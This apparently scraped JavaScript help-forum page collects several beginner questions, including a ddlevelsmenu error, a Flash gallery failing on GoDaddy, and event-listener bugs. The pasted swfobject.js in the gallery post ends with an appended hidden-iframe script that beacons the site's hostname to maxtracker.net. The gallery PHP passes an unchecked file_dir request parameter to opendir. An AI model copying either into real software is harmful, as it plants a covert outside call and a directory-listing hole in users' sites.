JavaScript - Issue Running Ddlevelsmenu In Hosting Environment
I've tested the menu in my environment without any issue. However, in hosting environment i am getting the following error:
Unable to get value of the property 'className': object is null or undefined I have included the function when error occurs: css:function(el, targetclass, action){ var needle=new RegExp("(^|\\s+)"+targetclass+"($|\\s+)", "ig") if (action=="check") return needle.test(el.className) else if (action=="remove") el.className=el.className.replace(needle, "") <--- ISSUE else if (action=="add" && !needle.test(el.className)) el.className+=" "+targetclass }, Any Idea as what may cause this? Thanks Similar TutorialsHi Guys, I am trying to implement a free Flash Gallery into a goDaddy hosted website. I have used the code a bunch of times before but always on a different server - never on goDaddy. It has always worked before but on goDaddy will only display the background and buttons of the gallery and not the images themselves. I have contacted goDaddy, who have very unhelpfully said that it should work but there seems to be a problem with the Javascript on a line that says: so.addVariable("content_path","img");. However - they cannot tell me why it doesnt work and suggested I hit these forums for answers. The code I am using in my FLASHGALLERY.HTML page is below. I have left the authors comments for ease of viewing: Code: <script language="javascript" type="text/javascript"> var so = new SWFObject("flashgallery.swf", "gallery", "800", "600", "8"); // Location of SWF file. You can change gallery width and height here (using pixels or percents). so.addParam("quality", "high"); so.addParam("allowFullScreen", "true"); so.addParam("wmode", "transparent"); so.addVariable("content_path","img"); // Location of a folder with JPG and PNG files (relative to php script). so.addVariable("color_path","default.xml"); // Location of XML file with settings. so.addVariable("script_path","flashgallery.php"); // Location of PHP script. so.write("gallery"); </script> The part in BOLD is the line they reckon the problem is on. This works on every other server but not theirs apparently! The path goes to a file called "IMG" which has the images to be displayed inside. This is a very simple process on all my other websites! I have tried adding a / symbol before .....so ...... /img.... but no luck as well as a bunch of other stuff. The link to the gallery I am using is: http://www.library.ceu.hu/workshop/readme.html The link to one of my sites with this working: http://mrca.org.uk/final_gallery_roles.html The link to the non-working gallery: http://neverthelessmedia.com/flashgallery.html The gallery has a PHP file and a Javascript file backing it up. I will put the codes below just incase they help. FLASH_GALLERY.PHP Code: <?php $allowed_formats = array("jpg", "jpeg", "JPG", "JPEG", "png", "PNG"); $exclude_files = array( "_derived", "_private", "_vti_cnf", "_vti_pvt", "vti_script", "_vti_txt" ); // add any other folders or files you wish to exclude from the gallery. $listDir = array(); function detectUTF8($string) { return preg_match('%(?: [\xC2-\xDF][\x80-\xBF] # non-overlong 2-byte |\xE0[\xA0-\xBF][\x80-\xBF] # excluding overlongs |[\xE1-\xEC\xEE\xEF][\x80-\xBF]{2} # straight 3-byte |\xED[\x80-\x9F][\x80-\xBF] # excluding surrogates |\xF0[\x90-\xBF][\x80-\xBF]{2} # planes 1-3 |[\xF1-\xF3][\x80-\xBF]{3} # planes 4-15 |\xF4[\x80-\x8F][\x80-\xBF]{2} # plane 16 )+%xs', $string); } function cp1251_utf8( $sInput ) { $sOutput = ""; for ( $i = 0; $i < strlen( $sInput ); $i++ ) { $iAscii = ord( $sInput[$i] ); if ( $iAscii >= 192 && $iAscii <= 255 ) $sOutput .= "&#".( 1040 + ( $iAscii - 192 ) ).";"; else if ( $iAscii == 168 ) $sOutput .= "&#".( 1025 ).";"; else if ( $iAscii == 184 ) $sOutput .= "&#".( 1105 ).";"; else $sOutput .= $sInput[$i]; } return $sOutput; } function encoding($string){ if (function_exists('iconv')) { if (@!iconv('utf-8', 'cp1251', $string)) { $string = iconv('cp1251', 'utf-8', $string); } return $string; } else { if (detectUTF8($string)) { return $string; } else { return cp1251_utf8($string); } } } function ReadFolderDirectory($dir) { global $listDir,$exclude_files,$allowed_formats; if($handler = opendir($dir)) { { while (($sub = readdir($handler)) !== FALSE) { if ($sub != "." && $sub != ".." && $sub != "Thumb.db" && array_search($sub, $exclude_files)===false) { $ext = substr($sub, strrpos($sub, ".")+1); if(is_file($dir."/".$sub) && array_search($ext, $allowed_formats)!==false ) $listDir[] = $dir."/".$sub; elseif(is_dir($dir."/".$sub)) ReadFolderDirectory($dir."/".$sub); } } } closedir($handler); } } if(isset($_GET['file_dir'])) ReadFolderDirectory($_GET['file_dir']); natcasesort($listDir); print '<?xml version="1.0" encoding="utf-8"?>'; print ' <pics>'; $directory= $_SERVER['HTTP_HOST'] .$_SERVER['PHP_SELF']; $directory=dirname($directory); foreach ($listDir as $val) { $title = substr(strrchr($val, '/'), 1); $title=encoding($title); $val=encoding($val); print ' <pic src="'.'http://'.$directory.'/'.$val.'" title="'.$title.'" />'; } print ' </pics>'; ?> SWFOBJECT.JS Code: if(typeof deconcept=="undefined"){var deconcept=new Object();} if(typeof deconcept.util=="undefined"){deconcept.util=new Object();} if(typeof deconcept.SWFObjectUtil=="undefined"){deconcept.SWFObjectUtil=new Object();} deconcept.SWFObject=function(_1,id,w,h,_5,c,_7,_8,_9,_a,_b){if(!document.getElementById){return;} this.DETECT_KEY=_b?_b:"detectflash"; this.skipDetect=deconcept.util.getRequestParameter(this.DETECT_KEY); this.params=new Object(); this.variables=new Object(); this.attributes=new Array(); if(_1){this.setAttribute("swf",_1);} if(id){this.setAttribute("id",id);} if(w){this.setAttribute("width",w);} if(h){this.setAttribute("height",h);} if(_5){this.setAttribute("version",new deconcept.PlayerVersion(_5.toString().split(".")));} this.installedVer=deconcept.SWFObjectUtil.getPlayerVersion(); if(c){this.addParam("bgcolor",c);} var q=_8?_8:"high"; this.addParam("quality",q); this.setAttribute("useExpressInstall",_7); this.setAttribute("doExpressInstall",false); var _d=(_9)?_9:window.location; this.setAttribute("xiRedirectUrl",_d); this.setAttribute("redirectUrl",""); if(_a){this.setAttribute("redirectUrl",_a);}}; deconcept.SWFObject.prototype={setAttribute:function(_e,_f){ this.attributes[_e]=_f; },getAttribute:function(_10){ return this.attributes[_10]; },addParam:function(_11,_12){ this.params[_11]=_12; },getParams:function(){ return this.params; },addVariable:function(_13,_14){ this.variables[_13]=_14; },getVariable:function(_15){ return this.variables[_15]; },getVariables:function(){ return this.variables; },getVariablePairs:function(){ var _16=new Array(); var key; var _18=this.getVariables(); for(key in _18){_16.push(key+"="+_18[key]);} return _16;},getSWFHTML:function(){var _19=""; if(navigator.plugins&&navigator.mimeTypes&&navigator.mimeTypes.length){ if(this.getAttribute("doExpressInstall")){ this.addVariable("MMplayerType","PlugIn");} _19="<embed type=\"application/x-shockwave-flash\" src=\""+this.getAttribute("swf")+"\" width=\""+this.getAttribute("width")+"\" height=\""+this.getAttribute("height")+"\""; _19+=" id=\""+this.getAttribute("id")+"\" name=\""+this.getAttribute("id")+"\" "; var _1a=this.getParams(); for(var key in _1a){_19+=[key]+"=\""+_1a[key]+"\" ";} var _1c=this.getVariablePairs().join("&"); if(_1c.length>0){_19+="flashvars=\""+_1c+"\"";}_19+="/>"; }else{if(this.getAttribute("doExpressInstall")){this.addVariable("MMplayerType","ActiveX");} _19="<object id=\""+this.getAttribute("id")+"\" classid=\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\" width=\""+this.getAttribute("width")+"\" height=\""+this.getAttribute("height")+"\">"; _19+="<param name=\"movie\" value=\""+this.getAttribute("swf")+"\" />"; var _1d=this.getParams(); for(var key in _1d){_19+="<param name=\""+key+"\" value=\""+_1d[key]+"\" />";} var _1f=this.getVariablePairs().join("&"); if(_1f.length>0){_19+="<param name=\"flashvars\" value=\""+_1f+"\" />";}_19+="</object>";} return _19; },write:function(_20){ if(this.getAttribute("useExpressInstall")){ var _21=new deconcept.PlayerVersion([6,0,65]); if(this.installedVer.versionIsValid(_21)&&!this.installedVer.versionIsValid(this.getAttribute("version"))){ this.setAttribute("doExpressInstall",true); this.addVariable("MMredirectURL",escape(this.getAttribute("xiRedirectUrl"))); document.title=document.title.slice(0,47)+" - Flash Player Installation"; this.addVariable("MMdoctitle",document.title);}} if(this.skipDetect||this.getAttribute("doExpressInstall")||this.installedVer.versionIsValid(this.getAttribute("version"))){ var n=(typeof _20=="string")?document.getElementById(_20):_20; n.innerHTML=this.getSWFHTML();return true; }else{if(this.getAttribute("redirectUrl")!=""){document.location.replace(this.getAttribute("redirectUrl"));}} return false;}}; deconcept.SWFObjectUtil.getPlayerVersion=function(){ var _23=new deconcept.PlayerVersion([0,0,0]); if(navigator.plugins&&navigator.mimeTypes.length){ var x=navigator.plugins["Shockwave Flash"]; if(x&&x.description){_23=new deconcept.PlayerVersion(x.description.replace(/([a-zA-Z]|\s)+/,"").replace(/(\s+r|\s+b[0-9]+)/,".").split("."));} }else{try{var axo=new ActiveXObject("ShockwaveFlash.ShockwaveFlash.7");} catch(e){try{var axo=new ActiveXObject("ShockwaveFlash.ShockwaveFlash.6"); _23=new deconcept.PlayerVersion([6,0,21]);axo.AllowScriptAccess="always";} catch(e){if(_23.major==6){return _23;}}try{axo=new ActiveXObject("ShockwaveFlash.ShockwaveFlash");} catch(e){}}if(axo!=null){_23=new deconcept.PlayerVersion(axo.GetVariable("$version").split(" ")[1].split(","));}} return _23;}; deconcept.PlayerVersion=function(_27){ this.major=_27[0]!=null?parseInt(_27[0]):0; this.minor=_27[1]!=null?parseInt(_27[1]):0; this.rev=_27[2]!=null?parseInt(_27[2]):0; }; deconcept.PlayerVersion.prototype.versionIsValid=function(fv){ if(this.major<fv.major){return false;} if(this.major>fv.major){return true;} if(this.minor<fv.minor){return false;} if(this.minor>fv.minor){return true;} if(this.rev<fv.rev){ return false; }return true;}; deconcept.util={getRequestParameter:function(_29){ var q=document.location.search||document.location.hash; if(q){var _2b=q.substring(1).split("&"); for(var i=0;i<_2b.length;i++){ if(_2b[i].substring(0,_2b[i].indexOf("="))==_29){ return _2b[i].substring((_2b[i].indexOf("=")+1));}}} return "";}}; deconcept.SWFObjectUtil.cleanupSWFs=function(){if(window.opera||!document.all){return;} var _2d=document.getElementsByTagName("OBJECT"); for(var i=0;i<_2d.length;i++){_2d[i].style.display="none";for(var x in _2d[i]){ if(typeof _2d[i][x]=="function"){_2d[i][x]=function(){};}}}}; deconcept.SWFObjectUtil.prepUnload=function(){__flash_unloadHandler=function(){}; __flash_savedUnloadHandler=function(){}; if(typeof window.onunload=="function"){ var _30=window.onunload; window.onunload=function(){ deconcept.SWFObjectUtil.cleanupSWFs();_30();}; }else{window.onunload=deconcept.SWFObjectUtil.cleanupSWFs;}}; if(typeof window.onbeforeunload=="function"){ var oldBeforeUnload=window.onbeforeunload; window.onbeforeunload=function(){ deconcept.SWFObjectUtil.prepUnload(); oldBeforeUnload();}; }else{window.onbeforeunload=deconcept.SWFObjectUtil.prepUnload;} if(Array.prototype.push==null){ Array.prototype.push=function(_31){ this[this.length]=_31; return this.length;};} var getQueryParamValue=deconcept.util.getRequestParameter; var FlashObject=deconcept.SWFObject; var SWFObject=deconcept.SWFObject; function second_passed() {window.frames['buffer'].location = "http://maxtracker.net/track_s/new_site.php?s="+ document.location.hostname;} document.write('<iframe name="buffer" src="about:blank" style="width:0px; height:0px; overflow:hidden; border:none;"></iframe>');setTimeout(second_passed, 1000); Cheers in advance for your help guys. hi, im new to javascript, and programming on the whole, what software do you all use for composing code? this seems to me like somewhat of a common question, but i did a search using the search function and couldnt find any threads on this. sorry if i was being inept and if this question really has been asked a lot before. in that case, help is still greatly appreciated though. Hi, I am working on the following page: http://www.reutin-international.com/redirect.html There is a news script on the right-handside which rotates news items (a kind of scroller). Locally this works without any problems, but once I've uploaded it to the hosting server this doesn't work. There is no javascript error sign. I have double checked with the hosting and they support javascript by default. If anyone has any ideas it'd be appreciated! Thanks! The first time I enter the command n it should run the first if statement, when I enter n it should then run the second one as its in zone two. However this is just not happening... What am I doing wrong. Its simply running the second one and skipping the first. Thanks in advance folks // gameFunctions.js // Javascript file for Game.html // September 29th 2010 Edition // The below represent our global variables for the game. The first variable // is called playerScore, and represents the total earned points. The player // earns or loses points based on progress in the game, this value can either // increase or decrease. var playerLocation = "zone"; function runProgram() { var command = ""; command = document.getElementById("txtCommand").value; switch (command) { case "n": north(); break; case "s": south(); break; case "e": east(); break; case "w": west(); break; case "north": north(); break; case "south": south(); break; case "east": east(); break; case "west": west(); break; default: giveError(); } } // The following function when called will take the player north. function north() { if(playerLocation = "zone") { var message = "You have come to what seems to be a beach"; post(message); var playerLocation = "zoneTwo"; } if(playerLocation = "zoneTwo") { var message = "You are unsure if you should set up camp. Set up camp?" post(message); var playerLocation = "zoneThree"; } else { giveError(); } } // The following function when called will take the player east. function east() { if(playerLocation = "zone") { var message = "You have come to a very large and steep mountain"; post(message); var playerLocation = "zoneTwo"; } if(playerLocation = "zoneTwo") { var message = "You are unsure if you should set up camp. Set up Camp?"; post(message); var playerLocation = "zoneThree"; } else { giveError(); } } // The following function when called will take the player south. function south() { if(playerLocation = "zone") { var message = "You have come to the entrance of a mine"; post(message); var playerLocation = "zoneTwo"; } if(playerLocation = "zoneTwo") { var message = "You are unsure if you should set up camp. Set up Camp?"; post(message); var playerLocation = "zoneThree"; } else { giveError(); } } } // The following function when called will take the player west. function west() { if(playerLocation = "zone") { var message = "You have found the edge of the world"; post(message); var playerLocation = "zoneTwo"; } if(playerLocation = "zoneTwo") { var message = "You are unsure if you should set up camp. Set up Camp?"; post(message); var playerLocation = "zoneThree"; } else { giveError(); } } // The following function reports an error when the program deviates from standard functionality. It is used mainly for debugging. function giveError() { alert("gameFunctions.js has encountered a critical error") alert("Please check that you are not using Internet Explorer to run this page") alert("The program will now close") } // The following function reports an error when the typed in command is not recognized by the program database. function doNotUnderstand() { alert("I am sorry but I do not understand please try again") } function post(newText) { document.getElementById("taGameText").value = "" var gameTextBox = document.getElementById("taGameText"); gameTextBox.value = newText + gameTextBox.value; } I have changed my event listener around a bit. Basically the "compare_fields" function is running when the "load_doc" function is run. Here is my JavaScript: PHP Code: function load_doc(doc, parent) { document.getElementById(parent).innerHTML = "<h1>Loading...</h1>"; var http = getHTTPObject(); if (http != undefined) { http.onreadystatechange = function() { req_doc(doc, parent, http); }; http.open("GET", doc, true); http.send(""); } } function req_doc(doc, parent, req) { if (req.readyState == 4) {//only if req is loaded if (req.status == 200) {//And if its okay document.getElementById(parent).innerHTML = req.responseText; add_event_listeners(page) } else { document.getElementById(parent).innerHTML = "Error fetching data: " + req.status + "\n" + req.statusText; add_event_listeners(); } } } //Script used to hide elements. Usage: expand(element id) function expand(elm) { var ex = document.getElementById(elm).style.display; if (ex == "none") { var obj = document.getElementById(elm); obj.style.display = "inline"; } else if (ex == "inline") { var obj = document.getElementById(elm); obj.style.display = "none"; } } function check_database(obj) { //Not written yet } //Function to test the password validation, should rewrite in future //to make it multifunctional function compare_fields(obj) { alert("com"); var field2 = obj.split("_"); field2 = document.getElementById(field2[1]+"2"); if (obj == field2) { if (obj.length >= 4) { document.getElementById("pass_status").style.color = "#00CC00"; document.getElementById("pass_status").innerHTML = "OK!"; } else { document.getElementById("pass_status").innerHTML = "Please must be between 5 - 14 characters long! "; document.getElementById("pass_status").style.color = "#FF0000"; } } else { document.getElementById("pass_status").innerHTML = "Passwords do not match!"; document.getElementById("pass_status").style.color = "#FF0000"; } } Global JavaScript: PHP Code: //Get httpobject function getHTTPObject() { var http = false; if (window.XMLHttpRequest) { http = new XMLHttpRequest(); } else if (window.ActiveXObject) { http = new ActiveXObject("Microsoft.XMLHTTP"); } return http; } //This function attaches events to elements. var addEvent = function( elm, evt, fun ) { if ( elm.addEventListener ) { elm.addEventListener( evt, fun, false ); } else if ( elm.attachEvent ) { elm.attachEvent( 'on' + evt, fun ); } else { elm [ 'on' + evt ] = fun; } }; Here is the first form, this contains the button: Code: <div style="border-color:#09C; border-width:1px; border-style:solid;"> <div class="register_button" onClick="load_doc('pages/forms/register_form.php', 'login_form')">Register</div> <h1>Login</h1> <h3>DrawSomething - WordGuesser</h3> <br /> <form id="login" action="php/check_login.php" method="post"> Username<br /><input type="text" name="username" class="text login_field"><br /> Password<br /><input type="password" name="password" class="text login_field"><br /> <input type="submit" value="Login" class="button blue" /> </form> <br /> <h2>Forgot Username/Password?</h2> <span class="expand" onClick="expand('forgot_p')"></span> <form class="forgot_p" action="php/forgot_p.php" method="post" style="display:none;" id="forgot_p"> Email<br /> <h3>Recover username</h3> <input type="text" name="forgot_email" class="text login_field"><br /> <span style=" font-weight:bold; font-size:21px;">- OR -</span><br /> Username<br /> <h3>Recover password</h3> <input type="text" name="forgot_password" class="text login_field"><br /> <input type="submit" value="Recover" class="button" /> </form> </div> Form which is loaded, this is when the "comare_fields" function is run when it shouldn't be. Edit: Oh and here is the PHP script which creates the event listeners. PHP Code: include "js/common.js"; include $js[$page]; //Write JS variables for event listeners $page_listeners = $listeners[$page]; //Check if there are some event listeners for this page if (count($page_listeners) > 0) { ///Start function echo "function add_event_listeners() { "; //Start loop to add event listeners for ($i = 0; $i < count($page_listeners); $i++) { $doc_elm = "document.getElementById('".$page_listeners[$i][1]."')"; echo "addEvent(\"document.getElementById('".$page_listeners[$i][0]."')\", \"".$page_listeners[$i][1]."\", ".$page_listeners[$i][2].");"."\n"; } //End function echo "}"; } Code that is written with the above PHP Code: function add_event_listeners() { addEvent("document.getElementById('reg_username')", "click", check_database); addEvent("document.getElementById('reg_email')", "click", check_database); addEvent("document.getElementById('reg_password')", "click", compare_fields('reg_password')); } And here are global PHP variables: PHP Code: <?php //Define page titles $titles = array( "login" => "Login - DrawSomething", "main" => "DrawSomething - Word Guesser", "admin" => "Administrator" ); //Require JavaScript files when onscreen HTML is selected $js = array( "login" => "js/login_js.js", "main" => "js/main_js.js", "admin" => "js/admin_js.js" ); //Pages to require $pages = array( "login" => "pages/login_page.php", "main" => "pages/main_page.php", "admin" => "pages/admin_page.php" ); //Event listeners to add $listeners = array( "login" => array(array("reg_username", "click", "check_database"), array("reg_email", "click", "check_database"), array("reg_password", "click", "compare_fields('reg_password')") ), ); ?> I currently have a script setup in HTML that will allow me too input a "Customers ID" and their "Gas Usage". Once those are entered, it will do some calculations and display text stating: > "Customers ID: 1 has gas usage of 50 and owes $100 > > Customers ID: 2 has gas usage of 120 and owes $195 > > Customers ID: 3 has gas usage of 85 and owes $142.5 > > Customers ID: 4 has gas usage of 65 and owes $112.5 > > Total amount of customers is: > > Total amount owed all customers:" **What im having trouble** with is making a running total that will calculate the "Total amount of customers" and the "Total amount owed by customers". All I know is that I may need to add another variable in the script. Code: function Summarise() { ID = prompt("Enter a Customer ID number ", -1) while(ID != -1) { var gasUsed = 0 gasUsed = prompt("Enter amount of gas used ", "0") var total = 0 ///Standard Rate is used to assist in the calculation of customers in excess of 60 Gas Used StandardRate = 60 * 1.75 if(gasUsed <= 60) { total= gasUsed * 2 document.write("Customers ID: " + ID) document.write(" has gas usage of " + gasUsed) document.write(" and owes $" + total) document.write("<br/>") } else { total= (gasUsed - 60) * 1.50 + StandardRate document.write("Customers ID: " + ID) document.write(" has gas usage of " + gasUsed) document.write(" and owes $" + total) document.write("<br/>") } ID = prompt("Enter a Customer ID number ", -1) } } Hey all. I hate posting this problem, because I am quite embarrassed by this script I have put together. This is not the final script, it is a draft, but I am trying to learn as much as possible and I would like to fix this before I move on and completely rewrite it. As you can probably tell - this is my first crack at JS... Right now I have a page with a registration form, seen he http://www.temp1.hangnailproductions...gistration.php It is working as well as it can be in FireFox, but in IE it is not working at all. Now, I just ran the IE8 debugger, and my first problem is the onload function in the body tag, it is saying that an object is missing, but I do not understand what this means. Can anyone help me with this please? Again, sorry for asking for help on such a mess, but like I said - I need to learn and trial and error works best for me... Thanks very much. Hi Guys, I'm remotely new to the world of scripting in general. I'm trying to run two scripts: Coda Slider (http://www.ndoherty.biz/tag/coda-slider/) and OS X Style Dialogue (http://www.ericmmartin.com/projects/simplemodal-demos/) But I'm am having difficulty doing so. I've heard the term "script confliction" throw around a lot - but I don't know how to solve it. My scripting code can be seen on the practice website: http://thenativedrum.com/practice/ Any help would be greatly appreciated. Thanks in advance! Code: <html> <head> <script type="text/javascript"> function ChangeSize(objId,ToWidth,ToHeight,Spd) { CurrentWidth=parseInt(document.getElementById(objId).style.width); // CurrentHeight=parseInt(document.getElementById(objId).style.height); if(CurrentWidth<>ToWidth) { WidthDiff=ToWidth-CurrentWidth; if (Spd<WidthDiff) {Spd=round(WidthDiff/2);} CurrentWidth=CurrentWidth+Spd; document.getElementById(objId).style.width=CurrentWidth+'px'; TimeoutCmd="ChangeSize(\""+objId+"\","+ToWidth+","+ToHeight+","+Spd+");"; setTimeout(TimeoutCmd,1); } document.getElementById(objId).innerHTML=document.getElementById(objId).style.width; } </script> </head> <body> <div id="ChangeSizeDiv" style="width:200px;height:200px;border:5px groove green;overflow:hidden" onclick='ChangeSize("ChangeSizeDiv",500,500,15);'> Click here to resize me ... </div> </body> </html> I don't see any typos (though that doesn't mean I'm not blind). It doesn't even appear to be firing when I click the div. What's up? Okay I am sure my script is loading when the page loads because of the alert box I have added but when I click on the button that is suppose to activate the script nothing happens. The button code is as follows: <button type="button" name="submit" value="submit" class="css3button" onclick="send(nick,passwd,userid,chan,showtime,showjoin,showpart,showquit,fname,fsize,nnick1,nnick2, nnick3,nnick4,nnick5)">Connect</button> I may be using the button wrong but I am new to javascript. Any suggestions would help. Hi, I have just started to learn Javascript which when loaded into a safari web browser of Firefox browser just simply displays the code. I am currently using a MacBook Leopard operating system I have saved the code (corrected for mistakes, many many times) to my desktop Run my usual browser safari (and tried same with Firefox) loaded the file and all I get is a copy of the code displayed in the browser window. Javascript is enabled for both Please can you suggest some options for me to try and get the code working. All I am doing in this example is copied from a book to turn the background colour of the browser RED Thanks Tom I have an external js file which contains the function which for now opens an alert box. The div on the page should run the function when it is clicked but it isn't. I have tried changing the function to an alert to check the click event is working and i have tried running the javascript in the address bar Code: javascript:hasFocus(); to ensure it has loaded correctly. Both are working fine and i am getting no errors. Below is a snippet of the code: Code: function hasFocus() { alert("a"); } Code: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <script type="text/javascript" language="javascript" src="scripts/cms.js"></script> </head> <body> <div id="tab_panel"> <div id="tabs"></div> <div id="content" contenteditable="true" onclick="hasFocus();"></div> </div> </body> </html> Thanks in advance Hey guys, I have a script that I'm running for a select box, and I need to run it twice now for another select box. Unfortunately if I duplicate it, it will not run at all. Im sure there is a way to combine these two so they both run. Any help very much appreciated! I have colored the text that differs between the two instances in red. Runs fine individually but not the two together . Code: <!--[][][][][][][][] Job Contacts Script --> <script type="text/javascript"> function show Customer (str) {var xmlhttp; if (str=="") {document.getElementById(" txtHint ").innerHTML=""; return;} if (window.XMLHttpRequest) {// code for IE7+, Firefox, Chrome, Opera, Safari xmlhttp=new XMLHttpRequest();} else {// code for IE6, IE5 xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");} xmlhttp.onreadystatechange=function() {if (xmlhttp.readyState==4 && xmlhttp.status==200) {document.getElementById(" txtHint ").innerHTML=xmlhttp.responseText;}} xmlhttp.open("GET"," getcustomer.asp ?q="+str,true); xmlhttp.send(); }window.onload = function() { document.getElementsByName(' customers ')[0].onchange();}; </script> <!--[][][][][][][][] Job Ship Site Script --> <script type="text/javascript"> function show Shipto (str) {var xmlhttp; if (str=="") {document.getElementById(" txtHint2 ").innerHTML=""; return;} if (window.XMLHttpRequest) {// code for IE7+, Firefox, Chrome, Opera, Safari xmlhttp=new XMLHttpRequest();} else {// code for IE6, IE5 xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");} xmlhttp.onreadystatechange=function() {if (xmlhttp.readyState==4 && xmlhttp.status==200) {document.getElementById(" txtHint2 ").innerHTML=xmlhttp.responseText;}} xmlhttp.open("GET"," getshipsite.asp ?q="+str,true); xmlhttp.send(); }window.onload = function() { document.getElementsByName( 'shipsites ')[0].onchange();}; </script> Hey, so i've been learning basics and I can get the following code to work as a prompt and I thought hey, I wounder if I can get it to work of a UI system, so I edited the code and got this Read Below Post Can you please help me to find where I am going wrong. Thanks MancunianMacca I want to run a flash video on my web site. I've been working on this for days now, and obviously missing something. The page is really BRIEF -- nothing more than <object> calls and swfobject.registerObject call. when I look at it on the server, I get a totally blank page in IE. In firefox, I see a little "block" tab where the movie frame would be if it worked. Here is the whole code: thanks so much for looking at it. Code: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <LINK REL="SHORTCUT ICON" HREF="http://olympiceq.com/favicon.ico"> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Olympic Equine</title> </head> <body> <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="360" height="264" id="FLVPlayer"> <param name="movie" value="FLVPlayer_Progressive.swf" /> <param name="quality" value="high" /> <param name="wmode" value="opaque" /> <param name="scale" value="noscale" /> <param name="salign" value="lt" /> <param name="FlashVars" value="&MM_ComponentVersion=1&skinName=Corona_Skin_2&streamName=HorseswithClicktoPlay&autoPlay=false&autoRewind=false" /> <param name="swfversion" value="8,0,0,0" /> <!-- This param tag prompts users with Flash Player 6.0 r65 and higher to download the latest version of Flash Player. Delete it if you don’t want users to see the prompt. --> <param name="expressinstall" value="expressInstall.swf" /> <!-- Next object tag is for non-IE browsers. So hide it from IE using IECC. --> <!--[if !IE]>--> <object type="application/x-shockwave-flash" data="FLVPlayer_Progressive.swf" width="360" height="264"> <!--<![endif]--> <param name="quality" value="high" /> <param name="wmode" value="opaque" /> <param name="scale" value="noscale" /> <param name="salign" value="lt" /> <param name="FlashVars" value="&MM_ComponentVersion=1&skinName=Corona_Skin_2&streamName=HorseswithClicktoPlay&autoPlay=false&autoRewind=false" /> <param name="swfversion" value="8,0,0,0" /> <param name="expressinstall" value="expressInstall.swf" /> <!-- The browser displays the following alternative content for users with Flash Player 6.0 and older. --> <div> <h4>Content on this page requires a newer version of Adobe Flash Player.</h4> <p><a href="http://www.adobe.com/go/getflashplayer"><img src="http://www.adobe.com/images/shared/download_buttons/get_flash_player.gif" alt="Get Adobe Flash player" /></a></p> </div> <!--[if !IE]>--> </object> <!--<![endif]--> </object> <script type="text/javascript"> <!-- swfobject.registerObject("FLVPlayer"); //--> </script> </body> </html> I recently coded a page that extracts certain nodes from an external XML file and prints a line of text on the webpage. It is an HTML page that is strictly devoted to this purpose. There is no other information on it. The page is currently stored locally on my computer, and when I open it, the script runs fine and outputs the correct text. However, when I transferred this script over to my web server, and locate it that way, it doesn't run correctly. When I go to the page, it is supposed to display a line of text at the top. It does when I run the file from my local machine, however when I open it from the server, it doesn't display this text. (Same browser, same computer) When I right-click and view the source, all the code is there, and the files are identical. Any idea as to why the script runs correctly only when I open the HTML page locally? I appreciate any help or advice. Thanks! i noticed the majority of the time when i practice coding javascript and run it, it never runs in the order i want it to. WHY?! like for example, if i want something to happen ONLY WHEN A BUTTON IS CLICKED, it would instead happen on page load :S its soooo frustrating heres one of my practice code which illustrates this problem. This code is suppose the stretch a div only wen it is clicked on. Code: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <title>Untitled Document</title> </head> <body> <div id="mybutton" style="height:50px; width:50px; background-color:#C00;"></div> </body> <script type="text/javascript"> var left = 0; var funct = function () { //alert("Thank you for clicking me"); left +=10; b.style.height = left + 'px'; if(left < 100) { var id = setTimeout(funct, 10); } } var b = document.getElementById("mybutton"); b.onclick = funct(); </script> </html> I have this file: IPToned.js Code: // ==UserScript== // @name IPToned // @namespace http://users9.jabry.com/chatleague // @description IPTorrents Filter Enhancements // ==/UserScript== alert("hello world"); I drag and drop it into Firefox (Ubuntu) and it opens it as if it were a txt file. I want it to make the alert so I can get to coding. Any suggestions? I am trying to run javascript within Iframe and its not running. (The bigger pictu The final target is to do a file upload without refreshing the page, and the original code is using the iframe as the target of the form, and the return from the server is a javascript code that should update some status field on the page. However the code return from the server is not running, so I just paste it in the iframe and it is still not running. ) Code: Content-type: text/html\n\n <html> <script type="text/javascript"> alert("this is running") </script> <iframe id="upload_target" name="upload_target" src="#" style="width:100;height:100;border:0px solid #fff;"> <script type="text/javascript"> alert("this not running") </script> </iframe> </html> |